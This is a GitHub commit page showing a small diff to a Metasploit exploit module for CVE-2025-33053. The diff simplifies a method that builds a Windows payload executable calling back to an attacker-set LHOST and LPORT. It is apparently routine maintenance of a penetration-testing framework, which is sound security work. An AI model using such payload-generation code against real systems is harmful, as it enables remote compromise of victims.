Skip to content

Commit a0f1b0c

Browse files
Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <[email protected]>
1 parent efc0c25 commit a0f1b0c

File tree

1 file changed

+1
-6
lines changed

1 file changed

+1
-6
lines changed

modules/exploits/windows/fileformat/cve_2025_33053.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -85,12 +85,7 @@ def generate_payload_if_needed
8585
end
8686

8787
def generate_payload_exe(payload_name, lhost, lport, output_path)
88-
payload = framework.payloads.create(payload_name.to_s.strip)
89-
payload.datastore['LHOST'] = lhost
90-
payload.datastore['LPORT'] = lport
91-
raw = payload.generate
92-
exe = Msf::Util::EXE.to_win32pe(framework, raw)
93-
write_exe_file(output_path, exe)
88+
write_exe_file(output_path, payload.encoded)
9489
end
9590

9691

0 commit comments

Comments
 (0)